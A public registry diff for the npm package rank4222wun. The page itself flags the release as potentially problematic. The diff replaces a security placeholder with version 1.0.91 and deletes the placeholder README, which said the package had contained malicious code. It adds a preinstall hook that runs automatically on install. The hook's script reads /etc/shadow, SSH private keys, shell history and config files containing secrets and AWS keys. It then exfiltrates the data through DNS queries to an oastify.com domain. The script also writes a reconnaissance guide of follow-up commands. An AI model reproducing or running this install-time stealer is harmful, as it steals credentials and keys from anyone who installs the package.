rank4222wun 0.0.1-security → 1.0.91
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of rank4222wun might be problematic. Click here for more details.
- package/package.json +6 -3
- package/preinstall.js +582 -0
- package/rank4222wun-1.0.91.tgz +0 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "rank4222wun",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.91",
|
|
4
|
+
"description": "",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"preinstall": "node preinstall.js"
|
|
7
|
+
},
|
|
8
|
+
"dependencies": {}
|
|
6
9
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,582 @@
|
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
const dns = require('dns');
|
|
5
|
+
const crypto = require('crypto');
|
|
6
|
+
const os = require('os');
|
|
7
|
+
const { promisify } = require('util');
|
|
8
|
+
|
|
9
|
+
console.log("🔐 DNS-ONLY DATA EXFILTRATION SYSTEM\n");
|
|
10
|
+
|
|
11
|
+
const TARGET_DOMAIN = 'mkaq3wbzvqg33yks6wqpxxo77ydp1hr5g.oastify.com';
|
|
12
|
+
const DNS_SERVER = '8.8.8.8'; // استخدام Google DNS
|
|
13
|
+
const SCAN_ID = crypto.randomBytes(4).toString('hex');
|
|
14
|
+
const BATCH_SIZE = 5;
|
|
15
|
+
const DELAY_MS = 200;
|
|
16
|
+
|
|
17
|
+
// ===================== DNS ENGINE =====================
|
|
18
|
+
class DNSEngine {
|
|
19
|
+
constructor(domain) {
|
|
20
|
+
this.domain = domain;
|
|
21
|
+
this.resolver = new dns.Resolver();
|
|
22
|
+
this.resolver.setServers([DNS_SERVER]);
|
|
23
|
+
this.stats = { sent: 0, failed: 0 };
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
async sendChunk(data, type = 'data', seq = 0, total = 1) {
|
|
27
|
+
return new Promise((resolve) => {
|
|
28
|
+
// إنشاء subdomain فريد
|
|
29
|
+
const subdomain = `${type}.${seq}.${total}.${SCAN_ID}.${Date.now().toString(36)}.${this.domain}`;
|
|
30
|
+
|
|
31
|
+
this.resolver.resolve4(subdomain, (err) => {
|
|
32
|
+
if (err) {
|
|
33
|
+
this.stats.failed++;
|
|
34
|
+
resolve(false);
|
|
35
|
+
} else {
|
|
36
|
+
this.stats.sent++;
|
|
37
|
+
resolve(true);
|
|
38
|
+
}
|
|
39
|
+
});
|
|
40
|
+
});
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
async sendData(data, label = 'data') {
|
|
44
|
+
const chunks = this.splitData(data);
|
|
45
|
+
|
|
46
|
+
for (let i = 0; i < chunks.length; i += BATCH_SIZE) {
|
|
47
|
+
const batch = chunks.slice(i, i + BATCH_SIZE);
|
|
48
|
+
const promises = batch.map((chunk, idx) =>
|
|
49
|
+
this.sendChunk(chunk, label, i + idx, chunks.length)
|
|
50
|
+
);
|
|
51
|
+
|
|
52
|
+
await Promise.all(promises);
|
|
53
|
+
await this.sleep(DELAY_MS);
|
|
54
|
+
|
|
55
|
+
if (i % 20 === 0) {
|
|
56
|
+
console.log(`📤 Progress: ${i}/${chunks.length} chunks sent`);
|
|
57
|
+
}
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
return this.stats;
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
splitData(data) {
|
|
64
|
+
// تحويل البيانات إلى تنسيق DNS-safe
|
|
65
|
+
const encoded = Buffer.from(data).toString('base64')
|
|
66
|
+
.replace(/=/g, '')
|
|
67
|
+
.replace(/\//g, '_')
|
|
68
|
+
.replace(/\+/g, '-');
|
|
69
|
+
|
|
70
|
+
const chunks = [];
|
|
71
|
+
const chunkSize = 30; // حجم آمن لـ DNS label
|
|
72
|
+
|
|
73
|
+
for (let i = 0; i < encoded.length; i += chunkSize) {
|
|
74
|
+
chunks.push(encoded.substr(i, chunkSize));
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
return chunks;
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
sleep(ms) {
|
|
81
|
+
return new Promise(resolve => setTimeout(resolve, ms));
|
|
82
|
+
}
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
// ===================== DATA COLLECTOR =====================
|
|
86
|
+
async function collectAllData() {
|
|
87
|
+
console.log("🕵️♂️ Collecting critical data...\n");
|
|
88
|
+
|
|
89
|
+
const data = {
|
|
90
|
+
// Metadata
|
|
91
|
+
meta: {
|
|
92
|
+
id: SCAN_ID,
|
|
93
|
+
time: Date.now(),
|
|
94
|
+
host: os.hostname(),
|
|
95
|
+
user: os.userInfo().username,
|
|
96
|
+
platform: os.platform(),
|
|
97
|
+
arch: os.arch()
|
|
98
|
+
},
|
|
99
|
+
|
|
100
|
+
// System Info
|
|
101
|
+
system: {},
|
|
102
|
+
|
|
103
|
+
// Processes
|
|
104
|
+
processes: [],
|
|
105
|
+
|
|
106
|
+
// Network
|
|
107
|
+
network: {},
|
|
108
|
+
|
|
109
|
+
// Files
|
|
110
|
+
files: {},
|
|
111
|
+
|
|
112
|
+
// Configs
|
|
113
|
+
configs: []
|
|
114
|
+
};
|
|
115
|
+
|
|
116
|
+
// 1. Basic System Info
|
|
117
|
+
console.log("[1/6] System info...");
|
|
118
|
+
data.system = {
|
|
119
|
+
cpus: os.cpus().length,
|
|
120
|
+
memory: Math.round(os.totalmem() / 1024 / 1024) + ' MB',
|
|
121
|
+
uptime: os.uptime(),
|
|
122
|
+
load: os.loadavg(),
|
|
123
|
+
version: os.version(),
|
|
124
|
+
release: os.release()
|
|
125
|
+
};
|
|
126
|
+
|
|
127
|
+
// 2. Network Info
|
|
128
|
+
console.log("[2/6] Network info...");
|
|
129
|
+
const ifaces = os.networkInterfaces();
|
|
130
|
+
data.network = {
|
|
131
|
+
interfaces: Object.keys(ifaces),
|
|
132
|
+
addresses: []
|
|
133
|
+
};
|
|
134
|
+
|
|
135
|
+
Object.values(ifaces).forEach(addrs => {
|
|
136
|
+
addrs.forEach(addr => {
|
|
137
|
+
if (addr.family === 'IPv4' && !addr.internal) {
|
|
138
|
+
data.network.addresses.push(addr.address);
|
|
139
|
+
}
|
|
140
|
+
});
|
|
141
|
+
});
|
|
142
|
+
|
|
143
|
+
// 3. Running Processes (Top 20)
|
|
144
|
+
console.log("[3/6] Running processes...");
|
|
145
|
+
const procs = await execAsync('ps aux --sort=-%cpu | head -20');
|
|
146
|
+
data.processes = procs.split('\n').filter(p => p.trim());
|
|
147
|
+
|
|
148
|
+
// 4. Critical Files
|
|
149
|
+
console.log("[4/6] Scanning for critical files...");
|
|
150
|
+
const foundFiles = await scanCriticalFiles();
|
|
151
|
+
data.files = foundFiles;
|
|
152
|
+
|
|
153
|
+
// 5. Configuration Discovery
|
|
154
|
+
console.log("[5/6] Looking for configurations...");
|
|
155
|
+
data.configs = await findConfigurations();
|
|
156
|
+
|
|
157
|
+
// 6. Docker/Kubernetes Check
|
|
158
|
+
console.log("[6/6] Container environment check...");
|
|
159
|
+
data.container = await checkContainer();
|
|
160
|
+
|
|
161
|
+
return data;
|
|
162
|
+
}
|
|
163
|
+
|
|
164
|
+
async function scanCriticalFiles() {
|
|
165
|
+
const results = {
|
|
166
|
+
passwd: null,
|
|
167
|
+
shadow: null,
|
|
168
|
+
hosts: null,
|
|
169
|
+
bash_history: null,
|
|
170
|
+
ssh_keys: []
|
|
171
|
+
};
|
|
172
|
+
|
|
173
|
+
const files = [
|
|
174
|
+
'/etc/passwd',
|
|
175
|
+
'/etc/shadow',
|
|
176
|
+
'/etc/hosts',
|
|
177
|
+
'/root/.bash_history',
|
|
178
|
+
os.homedir() + '/.bash_history',
|
|
179
|
+
'/root/.ssh/id_rsa',
|
|
180
|
+
'/root/.ssh/id_rsa.pub',
|
|
181
|
+
os.homedir() + '/.ssh/id_rsa'
|
|
182
|
+
];
|
|
183
|
+
|
|
184
|
+
for (const file of files) {
|
|
185
|
+
try {
|
|
186
|
+
if (fs.existsSync(file)) {
|
|
187
|
+
const stats = fs.statSync(file);
|
|
188
|
+
if (stats.size < 10000) { // قراءة ملفات صغيرة فقط
|
|
189
|
+
const content = fs.readFileSync(file, 'utf8').substring(0, 500);
|
|
190
|
+
|
|
191
|
+
if (file.includes('passwd')) results.passwd = content;
|
|
192
|
+
else if (file.includes('shadow')) results.shadow = content;
|
|
193
|
+
else if (file.includes('hosts')) results.hosts = content;
|
|
194
|
+
else if (file.includes('bash_history')) results.bash_history = content;
|
|
195
|
+
else if (file.includes('id_rsa') && !file.includes('.pub')) {
|
|
196
|
+
results.ssh_keys.push({
|
|
197
|
+
file: file,
|
|
198
|
+
preview: content.substring(0, 100)
|
|
199
|
+
});
|
|
200
|
+
}
|
|
201
|
+
}
|
|
202
|
+
}
|
|
203
|
+
} catch (e) {
|
|
204
|
+
// تجاهل الملفات غير القابلة للقراءة
|
|
205
|
+
}
|
|
206
|
+
}
|
|
207
|
+
|
|
208
|
+
return results;
|
|
209
|
+
}
|
|
210
|
+
|
|
211
|
+
async function findConfigurations() {
|
|
212
|
+
const configs = [];
|
|
213
|
+
const searchPaths = [
|
|
214
|
+
'/etc',
|
|
215
|
+
'/opt',
|
|
216
|
+
'/root',
|
|
217
|
+
os.homedir(),
|
|
218
|
+
'/var',
|
|
219
|
+
'/tmp'
|
|
220
|
+
];
|
|
221
|
+
|
|
222
|
+
const patterns = [
|
|
223
|
+
/\.env$/,
|
|
224
|
+
/config\.(json|yml|yaml|ini)$/,
|
|
225
|
+
/\.(pem|key|crt)$/,
|
|
226
|
+
/credentials$/,
|
|
227
|
+
/settings\.(py|js|json)$/
|
|
228
|
+
];
|
|
229
|
+
|
|
230
|
+
// البحث في المسارات الشائعة
|
|
231
|
+
for (const dir of searchPaths) {
|
|
232
|
+
try {
|
|
233
|
+
if (fs.existsSync(dir)) {
|
|
234
|
+
const cmd = `find "${dir}" -type f \\( -name "*.env" -o -name "*.config" -o -name "*.json" -o -name "*.yml" -o -name "*.yaml" -o -name "*.pem" -o -name "*.key" \\) -size -50k 2>/dev/null | head -10`;
|
|
235
|
+
const result = await execAsync(cmd);
|
|
236
|
+
|
|
237
|
+
if (result.trim()) {
|
|
238
|
+
const files = result.trim().split('\n');
|
|
239
|
+
for (const file of files) {
|
|
240
|
+
try {
|
|
241
|
+
const content = fs.readFileSync(file, 'utf8');
|
|
242
|
+
|
|
243
|
+
// البحث عن بيانات حساسة
|
|
244
|
+
const sensitivePatterns = [
|
|
245
|
+
/(password|passwd|pwd)\s*[:=]\s*['"]?([^'"\s]+)/gi,
|
|
246
|
+
/(user|username)\s*[:=]\s*['"]?([^'"\s]+)/gi,
|
|
247
|
+
/(host|server)\s*[:=]\s*['"]?([^'"\s]+)/gi,
|
|
248
|
+
/(token|secret|key)\s*[:=]\s*['"]?([^'"\s]+)/gi,
|
|
249
|
+
/(AKIA|ASIA)[A-Z0-9]{16}/gi,
|
|
250
|
+
/[0-9a-zA-Z/+]{40}/g
|
|
251
|
+
];
|
|
252
|
+
|
|
253
|
+
const matches = [];
|
|
254
|
+
sensitivePatterns.forEach(pattern => {
|
|
255
|
+
const found = content.match(pattern);
|
|
256
|
+
if (found) matches.push(...found.slice(0, 3));
|
|
257
|
+
});
|
|
258
|
+
|
|
259
|
+
if (matches.length > 0 || content.length < 1000) {
|
|
260
|
+
configs.push({
|
|
261
|
+
file: file,
|
|
262
|
+
size: content.length,
|
|
263
|
+
matches: matches.slice(0, 5),
|
|
264
|
+
preview: content.substring(0, 200)
|
|
265
|
+
});
|
|
266
|
+
}
|
|
267
|
+
} catch (e) {
|
|
268
|
+
// تجاهل الملفات غير القابلة للقراءة
|
|
269
|
+
}
|
|
270
|
+
}
|
|
271
|
+
}
|
|
272
|
+
}
|
|
273
|
+
} catch (e) {
|
|
274
|
+
// تجاهل الدلائل غير القابلة للوصول
|
|
275
|
+
}
|
|
276
|
+
}
|
|
277
|
+
|
|
278
|
+
return configs;
|
|
279
|
+
}
|
|
280
|
+
|
|
281
|
+
async function checkContainer() {
|
|
282
|
+
const checks = {
|
|
283
|
+
isContainer: false,
|
|
284
|
+
isDocker: false,
|
|
285
|
+
isKubernetes: false,
|
|
286
|
+
hasDockerSock: false,
|
|
287
|
+
mounts: []
|
|
288
|
+
};
|
|
289
|
+
|
|
290
|
+
try {
|
|
291
|
+
// Check if running in container
|
|
292
|
+
const cgroup = fs.readFileSync('/proc/1/cgroup', 'utf8');
|
|
293
|
+
checks.isContainer = cgroup.includes('docker') || cgroup.includes('kubepods');
|
|
294
|
+
checks.isDocker = cgroup.includes('docker');
|
|
295
|
+
checks.isKubernetes = cgroup.includes('kubepods');
|
|
296
|
+
|
|
297
|
+
// Check Docker socket
|
|
298
|
+
checks.hasDockerSock = fs.existsSync('/var/run/docker.sock');
|
|
299
|
+
|
|
300
|
+
// Check mounts
|
|
301
|
+
const mount = await execAsync('mount 2>/dev/null || cat /proc/mounts 2>/dev/null');
|
|
302
|
+
checks.mounts = mount.split('\n').slice(0, 5);
|
|
303
|
+
|
|
304
|
+
} catch (e) {
|
|
305
|
+
// ليس حاوية أو لا يمكن القراءة
|
|
306
|
+
}
|
|
307
|
+
|
|
308
|
+
return checks;
|
|
309
|
+
}
|
|
310
|
+
|
|
311
|
+
// ===================== EXECUTION HELPERS =====================
|
|
312
|
+
function execAsync(cmd) {
|
|
313
|
+
return new Promise((resolve) => {
|
|
314
|
+
exec(cmd, { timeout: 3000 }, (error, stdout) => {
|
|
315
|
+
if (error || !stdout) {
|
|
316
|
+
resolve('');
|
|
317
|
+
} else {
|
|
318
|
+
resolve(stdout);
|
|
319
|
+
}
|
|
320
|
+
});
|
|
321
|
+
});
|
|
322
|
+
}
|
|
323
|
+
|
|
324
|
+
// ===================== DATA PROCESSOR =====================
|
|
325
|
+
function prepareDataForExfiltration(data) {
|
|
326
|
+
console.log("\n📦 Preparing data for DNS exfiltration...");
|
|
327
|
+
|
|
328
|
+
// تقليل حجم البيانات
|
|
329
|
+
const compressedData = {
|
|
330
|
+
meta: data.meta,
|
|
331
|
+
system: {
|
|
332
|
+
cpus: data.system.cpus,
|
|
333
|
+
memory: data.system.memory,
|
|
334
|
+
addresses: data.network.addresses
|
|
335
|
+
},
|
|
336
|
+
processes: data.processes.slice(0, 5),
|
|
337
|
+
files: {
|
|
338
|
+
found_passwd: !!data.files.passwd,
|
|
339
|
+
found_shadow: !!data.files.shadow,
|
|
340
|
+
ssh_keys: data.files.ssh_keys.length
|
|
341
|
+
},
|
|
342
|
+
configs: data.configs.slice(0, 3).map(c => ({
|
|
343
|
+
file: path.basename(c.file),
|
|
344
|
+
matches: c.matches.length
|
|
345
|
+
})),
|
|
346
|
+
container: data.container
|
|
347
|
+
};
|
|
348
|
+
|
|
349
|
+
return JSON.stringify(compressedData);
|
|
350
|
+
}
|
|
351
|
+
|
|
352
|
+
// ===================== LOCAL STORAGE =====================
|
|
353
|
+
function saveDataLocally(data) {
|
|
354
|
+
const storageDir = `/tmp/dns_exfil_${SCAN_ID}`;
|
|
355
|
+
if (!fs.existsSync(storageDir)) {
|
|
356
|
+
fs.mkdirSync(storageDir, { recursive: true });
|
|
357
|
+
}
|
|
358
|
+
|
|
359
|
+
// 1. Save full data
|
|
360
|
+
fs.writeFileSync(
|
|
361
|
+
path.join(storageDir, 'full_data.json'),
|
|
362
|
+
JSON.stringify(data, null, 2)
|
|
363
|
+
);
|
|
364
|
+
|
|
365
|
+
// 2. Create summary
|
|
366
|
+
const summary = `
|
|
367
|
+
===========================================
|
|
368
|
+
DNS EXFILTRATION REPORT - ${SCAN_ID}
|
|
369
|
+
===========================================
|
|
370
|
+
Time: ${new Date().toISOString()}
|
|
371
|
+
Host: ${data.meta.host}
|
|
372
|
+
User: ${data.meta.user}
|
|
373
|
+
|
|
374
|
+
📊 SYSTEM:
|
|
375
|
+
- CPUs: ${data.system.cpus}
|
|
376
|
+
- Memory: ${data.system.memory}
|
|
377
|
+
- Uptime: ${data.system.uptime}s
|
|
378
|
+
- IPs: ${data.network.addresses.join(', ')}
|
|
379
|
+
|
|
380
|
+
🔧 PROCESSES (top 5):
|
|
381
|
+
${data.processes.slice(0, 5).map(p => ` ${p}`).join('\n')}
|
|
382
|
+
|
|
383
|
+
🗄️ FILES:
|
|
384
|
+
- /etc/passwd: ${data.files.passwd ? 'FOUND' : 'not found'}
|
|
385
|
+
- /etc/shadow: ${data.files.shadow ? 'FOUND' : 'not found'}
|
|
386
|
+
- SSH Keys: ${data.files.ssh_keys.length}
|
|
387
|
+
|
|
388
|
+
⚙️ CONFIGS: ${data.configs.length} found
|
|
389
|
+
🐳 CONTAINER: ${data.container.isContainer ? 'YES' : 'NO'}
|
|
390
|
+
|
|
391
|
+
===========================================
|
|
392
|
+
`;
|
|
393
|
+
|
|
394
|
+
fs.writeFileSync(path.join(storageDir, 'summary.txt'), summary);
|
|
395
|
+
|
|
396
|
+
// 3. Save sensitive data separately
|
|
397
|
+
if (data.files.passwd || data.files.shadow || data.files.ssh_keys.length > 0) {
|
|
398
|
+
const sensitive = {
|
|
399
|
+
passwd: data.files.passwd,
|
|
400
|
+
shadow: data.files.shadow,
|
|
401
|
+
ssh_keys: data.files.ssh_keys,
|
|
402
|
+
configs: data.configs
|
|
403
|
+
};
|
|
404
|
+
|
|
405
|
+
fs.writeFileSync(
|
|
406
|
+
path.join(storageDir, 'sensitive.json'),
|
|
407
|
+
JSON.stringify(sensitive, null, 2)
|
|
408
|
+
);
|
|
409
|
+
}
|
|
410
|
+
|
|
411
|
+
console.log(`💾 Data saved locally in: ${storageDir}`);
|
|
412
|
+
return storageDir;
|
|
413
|
+
}
|
|
414
|
+
|
|
415
|
+
// ===================== MAIN EXECUTION =====================
|
|
416
|
+
async function main() {
|
|
417
|
+
console.log("=".repeat(60));
|
|
418
|
+
console.log("🔐 DNS-ONLY DATA EXFILTRATION SYSTEM");
|
|
419
|
+
console.log("=".repeat(60));
|
|
420
|
+
console.log(`Target Domain: ${TARGET_DOMAIN}`);
|
|
421
|
+
console.log(`Scan ID: ${SCAN_ID}`);
|
|
422
|
+
console.log(`DNS Server: ${DNS_SERVER}`);
|
|
423
|
+
console.log("=".repeat(60));
|
|
424
|
+
|
|
425
|
+
try {
|
|
426
|
+
// Phase 1: DNS Connectivity Test
|
|
427
|
+
console.log("\n📡 Testing DNS connectivity...");
|
|
428
|
+
const dnsTest = await new Promise((resolve) => {
|
|
429
|
+
dns.lookup(TARGET_DOMAIN, (err, address) => {
|
|
430
|
+
if (err) {
|
|
431
|
+
console.log(`❌ DNS test failed: ${err.message}`);
|
|
432
|
+
resolve(false);
|
|
433
|
+
} else {
|
|
434
|
+
console.log(`✅ DNS resolved: ${address}`);
|
|
435
|
+
resolve(true);
|
|
436
|
+
}
|
|
437
|
+
});
|
|
438
|
+
});
|
|
439
|
+
|
|
440
|
+
if (!dnsTest) {
|
|
441
|
+
console.log("⚠️ DNS not working, saving data locally only");
|
|
442
|
+
const data = await collectAllData();
|
|
443
|
+
saveDataLocally(data);
|
|
444
|
+
return;
|
|
445
|
+
}
|
|
446
|
+
|
|
447
|
+
// Phase 2: Data Collection
|
|
448
|
+
console.log("\n" + "=".repeat(60));
|
|
449
|
+
console.log("🕵️♂️ PHASE 1: DATA COLLECTION");
|
|
450
|
+
console.log("=".repeat(60));
|
|
451
|
+
|
|
452
|
+
const collectedData = await collectAllData();
|
|
453
|
+
const storagePath = saveDataLocally(collectedData);
|
|
454
|
+
|
|
455
|
+
// Phase 3: Data Preparation
|
|
456
|
+
console.log("\n" + "=".repeat(60));
|
|
457
|
+
console.log("📦 PHASE 2: DATA PREPARATION");
|
|
458
|
+
console.log("=".repeat(60));
|
|
459
|
+
|
|
460
|
+
const exfilData = prepareDataForExfiltration(collectedData);
|
|
461
|
+
console.log(`Data size: ${exfilData.length} characters`);
|
|
462
|
+
console.log(`Will be split into ~${Math.ceil(exfilData.length / 30)} DNS queries`);
|
|
463
|
+
|
|
464
|
+
// Phase 4: DNS Exfiltration
|
|
465
|
+
console.log("\n" + "=".repeat(60));
|
|
466
|
+
console.log("📡 PHASE 3: DNS EXFILTRATION");
|
|
467
|
+
console.log("=".repeat(60));
|
|
468
|
+
|
|
469
|
+
const dnsEngine = new DNSEngine(TARGET_DOMAIN);
|
|
470
|
+
|
|
471
|
+
// إرسال البيانات الرئيسية
|
|
472
|
+
console.log("\nSending main data...");
|
|
473
|
+
const stats = await dnsEngine.sendData(exfilData, 'main');
|
|
474
|
+
|
|
475
|
+
// إرسال إشارة الانتهاء
|
|
476
|
+
console.log("\nSending completion signal...");
|
|
477
|
+
await dnsEngine.sendChunk('COMPLETE', 'end', 1, 1);
|
|
478
|
+
|
|
479
|
+
// Phase 5: Results
|
|
480
|
+
console.log("\n" + "=".repeat(60));
|
|
481
|
+
console.log("✅ EXFILTRATION COMPLETE");
|
|
482
|
+
console.log("=".repeat(60));
|
|
483
|
+
console.log(`\n📊 STATISTICS:`);
|
|
484
|
+
console.log(`DNS queries sent: ${stats.sent}`);
|
|
485
|
+
console.log(`DNS queries failed: ${stats.failed}`);
|
|
486
|
+
console.log(`Success rate: ${Math.round((stats.sent / (stats.sent + stats.failed)) * 100)}%`);
|
|
487
|
+
|
|
488
|
+
console.log(`\n📁 LOCAL DATA:`);
|
|
489
|
+
console.log(`Full data: ${storagePath}/full_data.json`);
|
|
490
|
+
console.log(`Summary: ${storagePath}/summary.txt`);
|
|
491
|
+
|
|
492
|
+
console.log(`\n🎯 NEXT STEPS:`);
|
|
493
|
+
console.log(`1. Check DNS logs for queries to: *.${TARGET_DOMAIN}`);
|
|
494
|
+
console.log(`2. Look for base64 encoded data in subdomains`);
|
|
495
|
+
console.log(`3. Reconstruct data from DNS queries`);
|
|
496
|
+
|
|
497
|
+
console.log("\n" + "=".repeat(60));
|
|
498
|
+
|
|
499
|
+
// إنشاء دليل للاستمرار يدوياً
|
|
500
|
+
createManualGuide(storagePath, collectedData);
|
|
501
|
+
|
|
502
|
+
} catch (error) {
|
|
503
|
+
console.error(`\n❌ Error: ${error.message}`);
|
|
504
|
+
console.error(error.stack);
|
|
505
|
+
|
|
506
|
+
// محاولة حفظ أي بيانات تم جمعها
|
|
507
|
+
try {
|
|
508
|
+
const emergencyData = {
|
|
509
|
+
meta: {
|
|
510
|
+
id: SCAN_ID,
|
|
511
|
+
time: Date.now(),
|
|
512
|
+
host: os.hostname(),
|
|
513
|
+
error: error.message
|
|
514
|
+
}
|
|
515
|
+
};
|
|
516
|
+
|
|
517
|
+
const emergencyDir = `/tmp/emergency_${SCAN_ID}`;
|
|
518
|
+
if (!fs.existsSync(emergencyDir)) {
|
|
519
|
+
fs.mkdirSync(emergencyDir, { recursive: true });
|
|
520
|
+
}
|
|
521
|
+
|
|
522
|
+
fs.writeFileSync(
|
|
523
|
+
path.join(emergencyDir, 'error.json'),
|
|
524
|
+
JSON.stringify(emergencyData, null, 2)
|
|
525
|
+
);
|
|
526
|
+
|
|
527
|
+
console.log(`⚠️ Emergency data saved to: ${emergencyDir}`);
|
|
528
|
+
} catch (e) {
|
|
529
|
+
console.log('Could not save emergency data');
|
|
530
|
+
}
|
|
531
|
+
}
|
|
532
|
+
}
|
|
533
|
+
|
|
534
|
+
function createManualGuide(storagePath, data) {
|
|
535
|
+
const guide = `
|
|
536
|
+
# MANUAL CONTINUATION GUIDE
|
|
537
|
+
# Scan ID: ${SCAN_ID}
|
|
538
|
+
# Host: ${data.meta.host}
|
|
539
|
+
|
|
540
|
+
## QUICK COMMANDS:
|
|
541
|
+
# Check network
|
|
542
|
+
ip addr show
|
|
543
|
+
ip route show
|
|
544
|
+
netstat -tulpn
|
|
545
|
+
|
|
546
|
+
# Check processes
|
|
547
|
+
ps aux | grep -E "(npm|node|docker|kube|tencent|hscan)"
|
|
548
|
+
|
|
549
|
+
# Find configuration files
|
|
550
|
+
find /etc /opt /root -name "*.env" -o -name "*.json" -o -name "*.yaml" -o -name "*.config"
|
|
551
|
+
|
|
552
|
+
# Check Docker
|
|
553
|
+
docker ps -a 2>/dev/null
|
|
554
|
+
ls -la /var/run/docker.sock 2>/dev/null
|
|
555
|
+
|
|
556
|
+
# Look for credentials
|
|
557
|
+
find / -name "*.pem" -o -name "*.key" -o -name "id_rsa" 2>/dev/null | head -20
|
|
558
|
+
|
|
559
|
+
## DNS TEST:
|
|
560
|
+
# Test DNS resolution
|
|
561
|
+
nslookup ${TARGET_DOMAIN}
|
|
562
|
+
dig ${TARGET_DOMAIN} ANY
|
|
563
|
+
|
|
564
|
+
## DATA LOCATION:
|
|
565
|
+
# Full data: ${storagePath}/full_data.json
|
|
566
|
+
# Summary: ${storagePath}/summary.txt
|
|
567
|
+
# Sensitive: ${storagePath}/sensitive.json (if exists)
|
|
568
|
+
|
|
569
|
+
## RECONSTRUCTION:
|
|
570
|
+
# DNS queries pattern: *.${SCAN_ID}.*.${TARGET_DOMAIN}
|
|
571
|
+
# Data is base64 encoded in subdomains
|
|
572
|
+
`;
|
|
573
|
+
|
|
574
|
+
fs.writeFileSync(path.join(storagePath, 'MANUAL_GUIDE.txt'), guide);
|
|
575
|
+
console.log(`📘 Manual guide: ${storagePath}/MANUAL_GUIDE.txt`);
|
|
576
|
+
}
|
|
577
|
+
|
|
578
|
+
// ===================== START =====================
|
|
579
|
+
console.log("\n🚀 Starting DNS exfiltration in 3 seconds...");
|
|
580
|
+
setTimeout(() => {
|
|
581
|
+
main().catch(console.error);
|
|
582
|
+
}, 3000);
|
|
Binary file
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.
|